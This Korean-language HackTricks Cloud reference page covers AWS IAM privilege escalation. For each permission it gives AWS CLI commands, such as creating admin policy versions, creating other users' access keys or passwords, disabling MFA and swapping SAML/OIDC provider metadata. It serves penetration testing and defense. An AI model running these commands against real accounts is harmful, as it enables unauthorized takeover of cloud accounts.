AWS - IAM Privesc
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IAM
IAM에 대한 자세한 정보는 다음을 확인하세요:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
새로운 IAM 정책 버전을 생성할 수 있는 권한을 부여하며, --set-as-default
플래그를 사용하여 iam:SetDefaultPolicyVersion
권한을 우회할 수 있습니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
영향: 모든 리소스에 대한 모든 작업을 허용하여 직접적으로 권한을 상승시킵니다.
iam:SetDefaultPolicyVersion
IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있으며, 새 버전이 더 많은 권한을 가지고 있다면 권한을 상승시킬 수 있습니다.
Bash 명령어:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
영향: 더 많은 권한을 활성화하여 간접적인 권한 상승.
iam:CreateAccessKey
다른 사용자를 위한 액세스 키 ID 및 비밀 액세스 키를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있습니다.
악용:
aws iam create-access-key --user-name <target_user>
영향: 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 로그인 프로필을 생성하거나 업데이트할 수 있는 권한을 부여하며, 이는 직접적인 권한 상승으로 이어집니다.
생성을 위한 악용:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
업데이트를 위한 익스플로잇:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
영향: "모든" 사용자로 로그인하여 직접 권한 상승.
iam:UpdateAccessKey
비활성화된 액세스 키를 활성화할 수 있으며, 공격자가 비활성화된 키를 소유하고 있다면 무단 액세스로 이어질 수 있습니다.
악용:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
영향: 액세스 키를 재활성화하여 직접 권한 상승.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 관련 사용자의 권한을 상속받습니다.
생성을 위한 악용:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
리셋을 위한 익스플로잇:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
영향: 사용자의 서비스 권한 내에서 직접적인 권한 상승.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
사용자 또는 그룹에 정책을 연결할 수 있으며, 연결된 정책의 권한을 상속받아 직접적으로 권한을 상승시킵니다.
사용자에 대한 악용:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
그룹을 위한 익스플로잇:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
영향: 정책이 부여하는 모든 것에 대한 직접적인 권한 상승.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
역할, 사용자 또는 그룹에 정책을 첨부하거나 설정할 수 있는 권한을 부여하여 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
역할에 대한 악용:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
인라인 정책을 위한 익스플로잇:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
정책을 다음과 같이 사용할 수 있습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
영향: 정책을 통해 권한을 추가하여 직접적인 권한 상승.
iam:AddUserToGroup
IAM 그룹에 자신을 추가할 수 있게 하여 그룹의 권한을 상속받아 권한을 상승시킴.
악용:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
영향: 그룹 권한 수준으로 직접 권한 상승.
iam:UpdateAssumeRolePolicy
역할의 역할 수임 정책 문서를 변경할 수 있으며, 역할과 관련된 권한을 수임할 수 있게 합니다.
악용:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
정책이 다음과 같이 보이는 경우, 사용자가 역할을 맡을 수 있는 권한을 부여합니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
영향: 모든 역할의 권한을 가정하여 직접적인 권한 상승.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
CodeCommit에 인증하기 위한 SSH 공개 키를 업로드하고 MFA 장치를 비활성화할 수 있는 권한을 부여하여 잠재적인 간접 권한 상승으로 이어질 수 있습니다.
SSH 키 업로드를 위한 악용:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA 비활성화 공격:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
영향: CodeCommit 접근을 활성화하거나 MFA 보호를 비활성화하여 간접적인 권한 상승을 초래할 수 있습니다.
iam:ResyncMFADevice
MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 권한 상승으로 이어질 수 있습니다.
Bash 명령어:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
영향: MFA 장치를 추가하거나 조작하여 간접적인 권한 상승.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
이 권한을 사용하면 SAML 연결의 XML 메타데이터를 변경할 수 있습니다. 그런 다음 SAML 연합을 악용하여 신뢰하는 역할로 로그인할 수 있습니다.
이 작업을 수행하면 정상 사용자들은 로그인할 수 없다는 점에 유의하십시오. 그러나 XML을 가져올 수 있으므로 자신의 XML을 넣고 로그인한 후 이전 상태로 되돌릴 수 있습니다.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: SAML 메타데이터를 생성하고 지정된 역할로 로그인할 수 있는 도구
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(확실하지 않음) 공격자가 이러한 권한을 가지고 있다면, 제공자를 신뢰하는 모든 역할에 로그인하기 위해 새로운 Thumbprint를 추가할 수 있습니다.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
참고문헌
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.